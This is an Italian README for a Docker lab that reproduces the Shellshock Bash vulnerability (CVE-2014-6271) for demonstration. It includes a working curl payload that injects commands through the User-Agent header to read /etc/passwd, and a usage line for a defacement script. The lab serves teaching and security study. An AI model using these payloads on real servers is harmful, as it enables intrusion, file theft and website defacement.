
Progetto di presentazione di una CVE (ShellShock) con pdf, dimostrazione tecnica e riproducibile.
Questo progetto permette di riprodurre la vulnerabilità CVE-2014-6271, nota anche come Shellshock. Shellshock è una vulnerabilità di sicurezza in Bash che consente di eseguire codice malevolo tramite variabili d'ambiente.
Lo scopo di questo progetto è dimostrare l'impatto di questa vulnerabilità in un ambiente Docker.
Prima di iniziare, assicurati di avere Docker installato sulla tua macchina. Puoi scaricare Docker qui.
Nella directory del progetto, costruisci l'immagine Docker eseguendo il seguente comando:
docker build -t ['image name'] .
Sostituisci ['image name'] con il nome che desideri dare all'immagine Docker.
Una volta costruita l'immagine, avvia un contenitore da questa immagine con il seguente comando:
docker run -it --rm -p 8080:80 ['image name']
Ciò esporrà il servizio sulla porta 8080 della tua macchina locale.
Apri il tuo browser e vai su http://localhost:8080. Potrai osservare il comportamento dell'applicazione e testare la vulnerabilità.
In un altro terminale, esegui il seguente comando per sfruttare la vulnerabilità e leggere il contenuto del file /etc/passwd:
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
Questo comando invia un'intestazione user-agent appositamente progettata per sfruttare Shellshock. Se la vulnerabilità è correttamente riprodotta, il contenuto di /etc/passwd verrà visualizzato nell'output del terminale.
Questo script permette di sfruttare la vulnerabilità per defacciare una pagina web target. La vulnerabilità si basa su una cattiva configurazione di script CGI, che consente l'esecuzione di comandi arbitrari sul server.
Prerequisiti: Assicurati che il target sia vulnerabile al bug ShellShock. Assicurati di avere i permessi necessari per testare l'exploit su questo target.
./exp_deface.sh <ip> <port>
./exp_deface.sh localhost 8080
Importante: Questa vulnerabilità deve essere utilizzata solo a scopo di test e dimostrazione in un ambiente controllato. Non utilizzare questo progetto in ambienti di produzione.